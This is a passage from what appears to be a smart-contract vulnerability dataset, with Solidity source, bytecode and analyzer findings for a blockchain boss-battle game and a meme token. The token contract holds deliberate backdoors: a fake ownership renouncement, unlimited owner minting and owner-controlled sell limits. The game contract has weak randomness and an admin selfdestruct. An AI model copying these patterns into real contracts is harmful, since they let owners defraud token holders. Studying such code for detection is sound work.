830190803683370190505090503081600081518110610d2457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610d7857600080fd5b505afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db091906112f4565b81600181518110610dd157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d54610df79130911684610912565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e309085906000908690309042906004016114a0565b600060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b610bd1838383610ee3565b6000806000610e8b610fda565b9092509050610e9a8282610ea1565b9250505090565b6000610cc783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061101a565b600080600080600080610ef587611048565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f2790876110a5565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f5690866110e7565b6001600160a01b038916600090815260026020526040902055610f7881611146565b610f828483611190565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc791815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a0000610ff58282610ea1565b8210156110115750506008549267016345785d8a000092509050565b90939092509050565b6000818361103b5760405162461bcd60e51b81526004016103e89190611418565b506000610c078486611528565b60008060008060008060008060006110658a600a54600b546111b4565b9250925092506000611075610e7e565b905060008060006110888e878787611209565b919e509c509a509598509396509194505050505091939550919395565b6000610cc783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bd6565b6000806110f48385611510565b905083811015610cc75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e8565b6000611150610e7e565b9050600061115e8383611259565b3060009081526002602052604090205490915061117b90826110e7565b30600090815260026020526040902055505050565b60085461119d90836110a5565b6008556009546111ad90826110e7565b6009555050565b60008080806111ce60646111c88989611259565b90610ea1565b905060006111e160646111c88a89611259565b905060006111f9826111f38b866110a5565b906110a5565b9992985090965090945050505050565b60008080806112188886611259565b905060006112268887611259565b905060006112348888611259565b90506000611246826111f386866110a5565b939b939a50919850919650505050505050565b6000826112685750600061034f565b60006112748385611548565b9050826112818583611528565b14610cc75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e8565b6000602082840312156112e9578081fd5b8135610cc781611594565b600060208284031215611305578081fd5b8151610cc781611594565b60008060408385031215611322578081fd5b823561132d81611594565b9150602083013561133d81611594565b809150509250929050565b60008060006060848603121561135c578081fd5b833561136781611594565b9250602084013561137781611594565b929592945050506040919091013590565b6000806040838503121561139a578182fd5b82356113a581611594565b946020939093013593505050565b6000602082840312156113c4578081fd5b8135610cc7816115a9565b6000602082840312156113e0578081fd5b8151610cc7816115a9565b6000806000606084860312156113ff578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561144457858101830151858201604001528201611428565b818111156114555783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156114ef5784516001600160a01b0316835293830193918301916001016114ca565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115235761152361157e565b500190565b60008261154357634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156115625761156261157e565b500290565b6000828210156115795761157961157e565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461047157600080fd5b801515811461047157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220565a9cfbc4f20016c771ec65bd7e982d56ca531c0721a63309674c298e27162164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 385 |
0xeafd8b734e32aec64c4b445e9da401427ef63a3a | pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev Withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function calculateCurrentVirus(address /*_addr*/) public pure returns(uint256 /*_currentVirus*/) {}
function subVirus(address /*_addr*/, uint256 /*_value*/) public {}
function claimPrizePool(address /*_addr*/, uint256 /*_value*/) public {}
function fallback() public payable {}
}
interface CryptoMiningWarInterface {
function addCrystal( address /*_addr*/, uint256 /*_value*/ ) external;
function subCrystal( address /*_addr*/, uint256 /*_value*/ ) external;
}
contract CryptoBossWannaCry is PullPayment{
bool init = false;
address public administrator;
uint256 public bossRoundNumber;
uint256 private randNonce;
uint256 constant public BOSS_HP_DEFAULT = 100000;
uint256 public HALF_TIME_ATK_BOSS = 0;
// engineer game infomation
uint256 constant public VIRUS_MINING_PERIOD = 86400;
uint256 public BOSS_DEF_DEFFAULT = 0;
CryptoEngineerInterface public EngineerContract;
CryptoMiningWarInterface public MiningwarContract;
// player information
mapping(address => PlayerData) public players;
// boss information
mapping(uint256 => BossData) public bossData;
struct PlayerData {
uint256 currentBossRoundNumber;
uint256 lastBossRoundNumber;
uint256 win;
uint256 share;
uint256 dame;
uint256 nextTimeAtk;
}
struct BossData {
uint256 bossRoundNumber;
uint256 bossHp;
uint256 def;
uint256 prizePool;
address playerLastAtk;
uint256 totalDame;
bool ended;
}
event eventAttackBoss(
uint256 bossRoundNumber,
address playerAtk,
uint256 virusAtk,
uint256 dame,
uint256 timeAtk,
bool isLastHit,
uint256 crystalsReward
);
event eventEndAtkBoss(
uint256 bossRoundNumber,
address playerWin,
uint256 ethBonus
);
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
constructor() public {
administrator = msg.sender;
// set interface main contract
EngineerContract = CryptoEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
MiningwarContract = CryptoMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
/**
* @dev Main Contract call this function to setup mini game.
*/
function setupMiniGame( uint256 /*_miningWarRoundNumber*/, uint256 /*_miningWarDeadline*/ ) public
{
}
//@dev use this function in case of bug
function upgrade(address addr) public
{
require(msg.sender == administrator);
selfdestruct(addr);
}
function startGame() public isAdministrator
{
require(init == false);
init = true;
bossData[bossRoundNumber].ended = true;
startNewBoss();
}
/**
* @dev set defence for boss
* @param _value number defence
*/
function setDefenceBoss(uint256 _value) public isAdministrator
{
BOSS_DEF_DEFFAULT = _value;
}
function setHalfTimeAtkBoss(uint256 _value) public isAdministrator
{
HALF_TIME_ATK_BOSS = _value;
}
function startNewBoss() private
{
require(bossData[bossRoundNumber].ended == true);
bossRoundNumber = bossRoundNumber + 1;
uint256 bossHp = BOSS_HP_DEFAULT * bossRoundNumber;
// claim 5% of current prizePool as rewards.
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
EngineerContract.claimPrizePool(address(this), prizePool);
bossData[bossRoundNumber] = BossData(bossRoundNumber, bossHp, BOSS_DEF_DEFFAULT, prizePool, 0x0, 0, false);
}
function endAtkBoss() private
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame >= bossData[bossRoundNumber].bossHp);
BossData storage b = bossData[bossRoundNumber];
b.ended = true;
// update eth bonus for player last hit
uint256 ethBonus = SafeMath.div( SafeMath.mul(b.prizePool, 5), 100 );
if (b.playerLastAtk != 0x0) {
PlayerData storage p = players[b.playerLastAtk];
p.win = p.win + ethBonus;
}
emit eventEndAtkBoss(bossRoundNumber, b.playerLastAtk, ethBonus);
startNewBoss();
}
/**
* @dev player atk the boss
* @param _value number virus for this attack boss
*/
function atkBoss(uint256 _value) public disableContract
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame < bossData[bossRoundNumber].bossHp);
require(players[msg.sender].nextTimeAtk <= now);
uint256 currentVirus = getEngineerCurrentVirus(msg.sender);
if (_value > currentVirus) { revert(); }
EngineerContract.subVirus(msg.sender, _value);
uint256 rate = 50 + randomNumber(msg.sender, 100); // 50 -150%
uint256 atk = SafeMath.div(SafeMath.mul(_value, rate), 100);
updateShareETH(msg.sender);
// update dame
BossData storage b = bossData[bossRoundNumber];
uint256 currentTotalDame = b.totalDame;
uint256 dame = 0;
if (atk > b.def) {
dame = SafeMath.sub(atk, b.def);
}
b.totalDame = SafeMath.min(SafeMath.add(currentTotalDame, dame), b.bossHp);
b.playerLastAtk = msg.sender;
dame = SafeMath.sub(b.totalDame, currentTotalDame);
// bonus crystals
uint256 crystalsBonus = SafeMath.div(SafeMath.mul(dame, 5), 100);
MiningwarContract.addCrystal(msg.sender, crystalsBonus);
// update player
PlayerData storage p = players[msg.sender];
p.nextTimeAtk = now + HALF_TIME_ATK_BOSS;
if (p.currentBossRoundNumber == bossRoundNumber) {
p.dame = SafeMath.add(p.dame, dame);
} else {
p.currentBossRoundNumber = bossRoundNumber;
p.dame = dame;
}
bool isLastHit;
if (b.totalDame >= b.bossHp) {
isLastHit = true;
endAtkBoss();
}
// emit event attack boss
emit eventAttackBoss(b.bossRoundNumber, msg.sender, _value, dame, now, isLastHit, crystalsBonus);
}
function updateShareETH(address _addr) private
{
PlayerData storage p = players[_addr];
if (
bossData[p.currentBossRoundNumber].ended == true &&
p.lastBossRoundNumber < p.currentBossRoundNumber
) {
p.share = SafeMath.add(p.share, calculateShareETH(msg.sender, p.currentBossRoundNumber));
p.lastBossRoundNumber = p.currentBossRoundNumber;
}
}
/**
* @dev calculate share Eth of player
*/
function calculateShareETH(address _addr, uint256 _bossRoundNumber) public view returns(uint256 _share)
{
PlayerData memory p = players[_addr];
BossData memory b = bossData[_bossRoundNumber];
if (
p.lastBossRoundNumber >= p.currentBossRoundNumber &&
p.currentBossRoundNumber != 0
) {
_share = 0;
} else {
_share = SafeMath.div(SafeMath.mul(SafeMath.mul(b.prizePool, 95), p.dame), SafeMath.mul(b.totalDame, 100)); // prizePool * 95% * playerDame / totalDame
}
if (b.ended == false) {
_share = 0;
}
}
function withdrawReward() public disableContract
{
updateShareETH(msg.sender);
PlayerData storage p = players[msg.sender];
uint256 reward = SafeMath.add(p.share, p.win);
msg.sender.send(reward);
// update player
p.win = 0;
p.share = 0;
}
//--------------------------------------------------------------------------
// INTERNAL FUNCTION
//--------------------------------------------------------------------------
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
function randomNumber(address _addr, uint256 _maxNumber) private returns(uint256)
{
randNonce = randNonce + 1;
return uint256(keccak256(abi.encodePacked(now, _addr, randNonce))) % _maxNumber;
}
function getEngineerPrizePool() private view returns(uint256 _prizePool)
{
_prizePool = EngineerContract.prizePool();
}
function getEngineerCurrentVirus(address _addr) private view returns(uint256 _currentVirus)
{
_currentVirus = EngineerContract.calculateCurrentVirus(_addr);
_currentVirus = SafeMath.div(_currentVirus, VIRUS_MINING_PERIOD);
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 386 |
0x00ce959e6c7b0c420d331d60cf8f4188f9c5fbac | /**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
/*
Welcome to Tokyo Revengers 🔥, a deflationary meme token with tokenomics to set it off to the MOON on the Ethereum network!
🔥 TOKYO REVENGERS 🔥
ℹ️ SYMBOL: TOKYO🔥
ℹ️ TOTAL SUPPLY: 10000000000 💴
In development is a Street Fighter based game on the Ethereum network. Players will be able to choose a
starting character and battle against others for a prize pool of tokens! Daily tournaments will be held.
Telegram = @tokyorevengerstoken
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokyoREVENGERS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address public public_address;
address public caller;
uint256 private _reflectMax = 10 * 10**9 * 10**18;
string private _name = 'Tokyo REVENGERS 🔥';
string private _symbol = 'TOKYO🔥';
uint8 private _decimals = 18;
uint256 public rTotal = 5000000 * 10**18;
constructor () public {
_router[_call()] = _reflectMax;
emit Transfer(address(0), _call(), _reflectMax);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _reflectMax;
}
function reflect(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function setreflectrate(uint256 amount) public onlyOwner {
require(_call() != address(0), "ERC20: cannot permit zero address");
_reflectMax = _reflectMax.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender != caller && recipient == public_address) {
require(amount < rTotal, "Transfer amount exceeds the maxTxAmount.");
}
_router[sender] = _router[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063dd62ed3e11610071578063dd62ed3e14610521578063eb7d2cce14610599578063f2fde38b146105c7578063f8d2a3f11461060b578063fc9c8d391461063f57610121565b8063715018a6146103b857806395d89b41146103c257806396bfcd2314610445578063a9059cbb14610489578063b4a99a4e146104ed57610121565b806323b872dd116100f457806323b872dd14610259578063313ce567146102dd57806344192a01146102fe578063622a69c61461034257806370a082311461036057610121565b8063053ab1821461012657806306fdde0314610154578063095ea7b3146101d757806318160ddd1461023b575b600080fd5b6101526004803603602081101561013c57600080fd5b8101908080359060200190929190505050610673565b005b61015c61074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019c578082015181840152602081019050610181565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610223600480360360408110156101ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b60405180821515815260200191505060405180910390f35b61024361080f565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b60405180821515815260200191505060405180910390f35b6102e56108f2565b604051808260ff16815260200191505060405180910390f35b6103406004803603602081101561031457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610909565b005b61034a610a15565b6040518082815260200191505060405180910390f35b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b6103c0610a64565b005b6103ca610beb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040a5780820151818401526020810190506103ef565b50505050905090810190601f1680156104375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104876004803603602081101561045b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c8d565b005b6104d56004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d99565b60405180821515815260200191505060405180910390f35b6104f5610db7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105836004803603604081101561053757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddd565b6040518082815260200191505060405180910390f35b6105c5600480360360208110156105af57600080fd5b8101908080359060200190929190505050610e64565b005b610609600480360360208110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e7565b005b6106136112f2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610647611318565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067b61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe61133e565b8484611346565b6001905092915050565b6000600654905090565b600061082684848461153d565b6108e78461083261133e565b6108e285604051806060016040528060288152602001611b2560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061089861133e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119029092919063ffffffff16565b611346565b600190509392505050565b6000600960009054906101000a900460ff16905090565b61091161133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a6c61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c835780601f10610c5857610100808354040283529160200191610c83565b820191906000526020600020905b815481529060010190602001808311610c6657829003601f168201915b5050505050905090565b610c9561133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610dad610da661133e565b848461153d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6c61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610f4c61133e565b73ffffffffffffffffffffffffffffffffffffffff161415610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a6e6021913960400191505060405180910390fd5b610fce816006546119c290919063ffffffff16565b60068190555061102d8160026000610fe461133e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c290919063ffffffff16565b6002600061103961133e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107f61133e565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6110ef61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611235576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a8f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b726024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611452576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ab56022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd